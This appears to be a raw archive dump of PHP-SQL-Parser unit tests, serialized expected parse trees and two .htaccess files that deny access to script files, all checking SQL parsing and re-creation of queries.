 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Creator;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue112Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue112() {
        $sql = 'SELECT user, MAX(salary) FROM users GROUP BY user HAVING MAX(salary) > 10';
        $parser = new PHPSQLParser($sql);
        $creator = new PHPSQLCreator($parser->parsed);
        $created = $creator->created;
        $expected = getExpectedValue(dirname(__FILE__), 'issue112.sql', false);
        $this->assertSame($expected, $created, 'select with having clause');

    }
}

PK     \Sʉ      =  vendor/greenlion/php-sql-parser/tests/cases/creator/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \^
  
  C  vendor/greenlion/php-sql-parser/tests/cases/creator/issue57Test.phpnu [        <?php
/**
 * issue57.php
 *
 * Test case for PHPSQLCreator.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Creator;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue57Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue57() {
        $sql = "SELECT a.*, SUM(b.home) AS home,b.language,l.image,l.sef,l.title_native
        FROM iuz6l_menu_types AS a
        LEFT JOIN iuz6l_menu AS b ON b.menutype = a.menutype AND b.home != 0
        LEFT JOIN iuz6l_languages AS l ON l.lang_code = language
        WHERE (b.client_id = 0 OR b.client_id IS NULL)
        GROUP BY a.id, a.menutype, a.description, a.title, b.menutype,b.language,l.image,l.sef,l.title_native";
        $parser = new PHPSQLParser($sql);
        $creator = new PHPSQLCreator($parser->parsed);
        $created = $creator->created;
        $expected = getExpectedValue(dirname(__FILE__), 'issue57.sql', false);
        $this->assertSame($expected, $created, 'constants in ref-clause');

    }
}

PK     \<J    D  vendor/greenlion/php-sql-parser/tests/cases/creator/issue254Test.phpnu [        <?php

namespace PHPSQLParser\Test\Creator;

use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

/**
 * https://github.com/greenlion/PHP-SQL-Parser/issues/254
 */
class Issue254Test extends \PHPUnit\Framework\TestCase {

	protected function _test( $sql, $message ) {
		$parser = new PHPSQLParser();
		$parser->parse( $sql );
		$creator = new PHPSQLCreator();
		$created = $creator->create( $parser->parsed );
		$this->assertSame( $sql, $created, $message );
	}

	public function testIssue254_unsinged_zerofill() {
		$sql = "CREATE TABLE IF NOT EXISTS wp_feedback_responses (id bigint UNSIGNED NOT NULL AUTO_INCREMENT, test int (4) ZEROFILL, PRIMARY KEY (id))";
		$this->_test( $sql, '' );
	}
}PK     \&  &  C  vendor/greenlion/php-sql-parser/tests/cases/creator/issue62Test.phpnu [        <?php
/**
 * issue62.php
 *
 * Test case for PHPSQLCreator.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Creator;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue62Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue62a() {
        $query  = "SELECT col FROM table1 GROUP BY col";
        $parser = new PHPSQLParser();
        $p = $parser->parse($query);
        $creator = new PHPSQLCreator();
        $created = $creator->create($p);
        $expected = getExpectedValue(dirname(__FILE__), 'issue62a.sql', false);
        $this->assertSame($expected, $created, 'GROUP BY colref should not fail');
    }
    
    public function testIssue62b() {
        $query  = "SELECT col AS somealias FROM table ORDER BY somealias LIMIT 1";
        $parser = new PHPSQLParser();
        $p = $parser->parse($query);
        $creator = new PHPSQLCreator();
        $created = $creator->create($p);
        $expected = getExpectedValue(dirname(__FILE__), 'issue62b.sql', false);
        $this->assertSame($expected, $created, 'ORDER BY alias should not fail');
    }
    
    public function testIssue62c() {
        $query  = "SELECT * FROM table LIMIT 1";
        $parser = new PHPSQLParser();
        $p = $parser->parse($query);
        $creator = new PHPSQLCreator();
        $created = $creator->create($p);
        $expected = getExpectedValue(dirname(__FILE__), 'issue62c.sql', false);
        $this->assertSame($expected, $created, 'LIMIT should not be ignored');
    }
    
    public function testIssue62d() {
        $query  = "SELECT * FROM table ORDER BY TIME_FORMAT(column,'%H:%i') DESC";
        $parser = new PHPSQLParser();
        $p = $parser->parse($query);
        $creator = new PHPSQLCreator();
        $created = $creator->create($p);
        $expected = getExpectedValue(dirname(__FILE__), 'issue62d.sql', false);
        $this->assertSame($expected, $created, 'function inside ORDER BY should not fail');
    }
    
    public function testIssue62e() {
        $query  = "SELECT * FROM table ORDER BY column DESC";
        $parser = new PHPSQLParser();
        $p = $parser->parse($query);
        $creator = new PHPSQLCreator();
        $created = $creator->create($p);
        $expected = getExpectedValue(dirname(__FILE__), 'issue62e.sql', false);
        $this->assertSame($expected, $created, 'simple ORDER BY DESC should not fail');
    }
    
    public function testIssue62f() {
        $query  = "INSERT INTO tab1 (col1,col2) VALUES (?,?)";
        $parser = new PHPSQLParser();
        $p = $parser->parse($query);
        $creator = new PHPSQLCreator();
        $created = $creator->create($p);
        $expected = getExpectedValue(dirname(__FILE__), 'issue62f.sql', false);
        $this->assertSame($expected, $created, 'prepared INSERT statements should not fail');
    }
    
    public function testIssue62g() {
        $query  = "DELETE FROM tab1 WHERE col1=1";
        $parser = new PHPSQLParser();
        $p = $parser->parse($query);
        $creator = new PHPSQLCreator();
        $created = $creator->create($p);
        $expected = getExpectedValue(dirname(__FILE__), 'issue62g.sql', false);
        $this->assertSame($expected, $created, 'DELETE FROM statements should not fail');
    }
    
    public function testIssue62h() {
        $query  = "SELECT col1 FROM tab1 inner join tab2 on tab1.col1=tab2.col1 and col2 in (1,2) order by col3";
        $parser = new PHPSQLParser();
        $p = $parser->parse($query);
        $creator = new PHPSQLCreator();
        $created = $creator->create($p);
        $expected = getExpectedValue(dirname(__FILE__), 'issue62h.sql', false);
        $this->assertSame($expected, $created, 'IN-list within table ref clause should not fail');
    }
    
    public function testIssue62i() {
        $query  = "SELECT COUNT(colname) AS aliasname FROM tablename";
        $parser = new PHPSQLParser();
        $p = $parser->parse($query);
        $creator = new PHPSQLCreator();
        $created = $creator->create($p);
        $expected = getExpectedValue(dirname(__FILE__), 'issue62i.sql', false);
        $this->assertSame($expected, $created, 'function alias within SELECT should not be lost');
    }
    
    public function testIssue62j() {
        $query  = "update table1,table2 set table1.col1=0 where table1.col2=table2.col2";
        $parser = new PHPSQLParser();
        $p = $parser->parse($query);
        $creator = new PHPSQLCreator();
        $created = $creator->create($p);
        $expected = getExpectedValue(dirname(__FILE__), 'issue62j.sql', false);
        $this->assertSame($expected, $created, 'multiple table updates should not fail');
    }
    
    public function testIssue62k() {
        $query  = "SELECT col1 FROM tab1 WHERE col1=(SELECT col1 FROM tab2 WHERE col2=103)";
        $parser = new PHPSQLParser();
        $p = $parser->parse($query);
        $creator = new PHPSQLCreator();
        $created = $creator->create($p);
        $expected = getExpectedValue(dirname(__FILE__), 'issue62k.sql', false);
        $this->assertSame($expected, $created, 'sub-queries should not fail');
    }
    
    public function testIssue62l() {
        $query  = "select round((1-(phy.value / (cur.value + con.value)))*100,2) from vtiger_users";
        $parser = new PHPSQLParser();
        $p = $parser->parse($query);
        $creator = new PHPSQLCreator();
        $created = $creator->create($p);
        $expected = getExpectedValue(dirname(__FILE__), 'issue62l.sql', false);
        $this->assertSame($expected, $created, 'complex select clause should not fail');
    }
    
    public function testIssue62m() {
        $query  = "SELECT * FROM table1 IGNORE INDEX(PRIMARY)";
        $parser = new PHPSQLParser();
        $p = $parser->parse($query);
        $creator = new PHPSQLCreator();
        $created = $creator->create($p);
        $expected = getExpectedValue(dirname(__FILE__), 'issue62m.sql', false);
        $this->assertSame($expected, $created, 'INDEX HINT should not fail');
    }
    
    public function testIssue62n() {
        $query  = "INSERT IGNORE INTO table1 VALUES('1')";
        $parser = new PHPSQLParser();
        $p = $parser->parse($query);
        $creator = new PHPSQLCreator();
        $created = $creator->create($p);
        $expected = getExpectedValue(dirname(__FILE__), 'issue62n.sql', false);
        $this->assertSame($expected, $created, 'INSERT IGNORE should not fail');
    }
    
    public function testIssue62o() {
        $query  = "SELECT *, case when (col1 not like '') then col1 else col2 end as alias1 FROM table1";
        $parser = new PHPSQLParser();
        $p = $parser->parse($query);
        $creator = new PHPSQLCreator();
        $created = $creator->create($p);
        $expected = getExpectedValue(dirname(__FILE__), 'issue62o.sql', false);
        $this->assertSame($expected, $created, 'CASE WHEN should not fail');
    }
    
    public function testIssue62p() {
        $query  = "SELECT IF(1>2,2,3)";
        $parser = new PHPSQLParser();
        $p = $parser->parse($query);
        $creator = new PHPSQLCreator();
        $created = $creator->create($p);
        $expected = getExpectedValue(dirname(__FILE__), 'issue62p.sql', false);
        $this->assertSame($expected, $created, 'IF should not fail');
    }
    
    public function testIssue62q() {
        $query  = "SELECT DISTINCT col1 from table1";
        $parser = new PHPSQLParser();
        $p = $parser->parse($query);
        $creator = new PHPSQLCreator();
        $created = $creator->create($p);
        $expected = getExpectedValue(dirname(__FILE__), 'issue62q.sql', false);
        $this->assertSame($expected, $created, 'DISTINCT should not be lost');
    }
    
    public function testIssue62r() {
        $query  = "UPDATE table1 SET col1 = (1 + 3)";
        $parser = new PHPSQLParser();
        $p = $parser->parse($query);
        $creator = new PHPSQLCreator();
        $created = $creator->create($p);
        $expected = getExpectedValue(dirname(__FILE__), 'issue62r.sql', false);
        $this->assertSame($expected, $created, 'Bracket expression within SET clause of an UPDATE statement should not fail');

    }
}

PK     \0y'	  	  D  vendor/greenlion/php-sql-parser/tests/cases/creator/issue131Test.phpnu [        <?php
/**
 * issue131.php
 *
 * Test case for PHPSQLCreator.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Creator;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue131Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue131() {
        $query = "create unique index i1 using BTREE on t1 (c1(5) DESC, `col 2`(8) ASC) ALGORITHM=DEFAULT using hash LOCK=SHARED";
        $parser = new PHPSQLParser();
        $p = $parser->parse($query);
        $creator = new PHPSQLCreator();
        $created = $creator->create($p);
        $expected = getExpectedValue(dirname(__FILE__), 'issue131.sql', false);
        $this->assertSame($expected, $created, 'CREATE INDEX statement');

    }
}

PK     \Sʉ      5  vendor/greenlion/php-sql-parser/tests/cases/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \uߓ    I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue71b.serializednu [        a:2:{s:6:"SELECT";a:1:{i:0;a:6:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:4:"acol";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"acol";}}s:8:"sub_tree";b:0;s:5:"delim";b:0;}}s:4:"FROM";a:1:{i:0;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:5:"table";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:5:"table";}}s:5:"alias";a:4:{s:2:"as";b:1;s:4:"name";s:4:"data";s:9:"base_expr";s:7:"as data";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"data";}}}s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:13:"table as data";s:8:"sub_tree";b:0;}}}PK     \    I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue62b.serializednu [        a:3:{s:6:"UPDATE";a:1:{i:0;a:11:{s:9:"expr_type";s:5:"table";s:5:"table";s:10:"vtiger_tab";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:10:"vtiger_tab";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:10:"vtiger_tab";s:8:"sub_tree";b:0;s:8:"position";i:7;}}s:3:"SET";a:1:{i:0;a:4:{s:9:"expr_type";s:10:"expression";s:9:"base_expr";s:14:"isentitytype=?";s:8:"sub_tree";a:3:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:12:"isentitytype";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:12:"isentitytype";}}s:8:"sub_tree";b:0;s:8:"position";i:22;}i:1;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;s:8:"position";i:34;}i:2;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:1:"?";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"?";}}s:8:"sub_tree";b:0;s:8:"position";i:35;}}s:8:"position";i:22;}}s:5:"WHERE";a:3:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:5:"tabid";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:5:"tabid";}}s:8:"sub_tree";b:0;s:8:"position";i:43;}i:1;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;s:8:"position";i:48;}i:2;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:1:"?";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"?";}}s:8:"sub_tree";b:0;s:8:"position";i:49;}}}PK     \=@]/  /  I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue137.serializednu [        a:2:{s:6:"SELECT";a:1:{i:0;a:7:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:7:"`title`";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:5:"title";}}s:8:"sub_tree";b:0;s:5:"delim";b:0;s:8:"position";i:6;}}s:4:"FROM";a:1:{i:0;a:11:{s:9:"expr_type";s:5:"table";s:5:"table";s:7:"`table`";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:5:"table";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:7:"`table`";s:8:"sub_tree";b:0;s:8:"position";i:17;}}}PK     \E,
  
  I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue33l.serializednu [        a:5:{s:6:"CREATE";a:5:{s:9:"expr_type";s:5:"table";s:10:"not-exists";b:0;s:9:"base_expr";s:5:"TABLE";s:8:"sub_tree";a:1:{i:0;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"TABLE";s:8:"position";i:7;}}s:8:"position";i:7;}s:5:"TABLE";a:7:{s:9:"base_expr";s:6:"hohoho";s:4:"name";s:6:"hohoho";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:6:"hohoho";}}s:10:"create-def";a:4:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:21:" (a integer not null)";s:8:"sub_tree";a:1:{i:0;a:4:{s:9:"expr_type";s:10:"column-def";s:9:"base_expr";s:18:"a integer not null";s:8:"sub_tree";a:2:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:1:"a";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"a";}}s:8:"position";i:21;}i:1;a:8:{s:9:"expr_type";s:11:"column-type";s:9:"base_expr";s:16:"integer not null";s:8:"sub_tree";a:3:{i:0;a:6:{s:9:"expr_type";s:9:"data-type";s:9:"base_expr";s:7:"integer";s:8:"unsigned";b:0;s:8:"zerofill";b:0;s:6:"length";b:0;s:8:"position";i:23;}i:1;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:3:"not";s:8:"position";i:31;}i:2;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"null";s:8:"position";i:35;}}s:6:"unique";b:0;s:8:"nullable";b:0;s:8:"auto_inc";b:0;s:7:"primary";b:0;s:8:"position";i:23;}}s:8:"position";i:21;}}s:8:"position";i:19;}s:7:"options";b:0;s:13:"select-option";a:5:{s:9:"base_expr";s:10:"REPLACE AS";s:10:"duplicates";s:7:"REPLACE";s:2:"as";b:1;s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:7:"REPLACE";s:8:"position";i:41;}i:1;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:2:"AS";s:8:"position";i:49;}}s:8:"position";i:41;}s:8:"position";i:13;}s:6:"SELECT";a:2:{i:0;a:6:{s:9:"expr_type";s:8:"reserved";s:5:"alias";b:0;s:9:"base_expr";s:8:"DISTINCT";s:8:"sub_tree";b:0;s:5:"delim";s:1:" ";s:8:"position";i:59;}i:1;a:6:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:1:"*";s:8:"sub_tree";b:0;s:5:"delim";b:0;s:8:"position";i:68;}}s:4:"FROM";a:1:{i:0;a:11:{s:9:"expr_type";s:5:"table";s:5:"table";s:4:"abcd";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"abcd";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:4:"abcd";s:8:"sub_tree";b:0;s:8:"position";i:75;}}s:5:"WHERE";a:3:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:1:"x";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"x";}}s:8:"sub_tree";b:0;s:8:"position";i:86;}i:1;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"<";s:8:"sub_tree";b:0;s:8:"position";i:87;}i:2;a:4:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"5";s:8:"sub_tree";b:0;s:8:"position";i:88;}}}PK     \UN    I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue102.serializednu [        a:2:{s:6:"SELECT";a:1:{i:0;a:6:{s:9:"expr_type";s:8:"function";s:5:"alias";b:0;s:9:"base_expr";s:2:"IF";s:8:"sub_tree";a:3:{i:0;a:5:{s:9:"expr_type";s:10:"expression";s:9:"base_expr";s:14:"f = 0 || f = 1";s:8:"sub_tree";a:7:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:1:"f";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"f";}}s:8:"sub_tree";b:0;s:8:"position";i:10;}i:1;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;s:8:"position";i:12;}i:2;a:4:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"0";s:8:"sub_tree";b:0;s:8:"position";i:14;}i:3;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:2:"||";s:8:"sub_tree";b:0;s:8:"position";i:16;}i:4;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:1:"f";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"f";}}s:8:"sub_tree";b:0;s:8:"position";i:19;}i:5;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;s:8:"position";i:21;}i:6;a:4:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"1";s:8:"sub_tree";b:0;s:8:"position";i:23;}}s:5:"alias";b:0;s:8:"position";i:10;}i:1;a:4:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"1";s:8:"sub_tree";b:0;s:8:"position";i:26;}i:2;a:4:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"0";s:8:"sub_tree";b:0;s:8:"position";i:29;}}s:5:"delim";b:0;s:8:"position";i:7;}}s:4:"FROM";a:1:{i:0;a:11:{s:9:"expr_type";s:5:"table";s:5:"table";s:3:"tbl";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:3:"tbl";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:3:"tbl";s:8:"sub_tree";b:0;s:8:"position";i:37;}}}PK     \+&    I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue78e.serializednu [        a:4:{s:4:"DESC";a:4:{s:9:"expr_type";s:10:"expression";s:9:"base_expr";s:13:"FORMAT = JSON";s:8:"sub_tree";a:3:{i:0;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:6:"FORMAT";s:8:"position";i:5;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"position";i:12;}i:2;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"JSON";s:8:"position";i:14;}}s:8:"position";i:5;}s:6:"DELETE";a:2:{s:7:"options";b:0;s:6:"tables";b:0;}s:4:"FROM";a:1:{i:0;a:11:{s:9:"expr_type";s:5:"table";s:5:"table";s:6:"tableA";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:6:"tableA";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:6:"tableA";s:8:"sub_tree";b:0;s:8:"position";i:31;}}s:5:"WHERE";a:3:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:1:"x";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"x";}}s:8:"sub_tree";b:0;s:8:"position";i:44;}i:1;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;s:8:"position";i:45;}i:2;a:4:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"1";s:8:"sub_tree";b:0;s:8:"position";i:46;}}}PK     \&    I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue33k.serializednu [        a:2:{s:6:"CREATE";a:4:{s:9:"expr_type";s:5:"table";s:10:"not-exists";b:0;s:9:"base_expr";s:5:"TABLE";s:8:"sub_tree";a:1:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"TABLE";}}}s:5:"TABLE";a:5:{s:9:"base_expr";s:6:"hohoho";s:4:"name";s:6:"hohoho";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:6:"hohoho";}}s:10:"create-def";a:3:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:102:" (a varchar(1000), PRIMARY KEY (a(5) ASC) key_block_size 4 using btree with parser haha, CHECK(a > 5))";s:8:"sub_tree";a:3:{i:0;a:3:{s:9:"expr_type";s:10:"column-def";s:9:"base_expr";s:15:"a 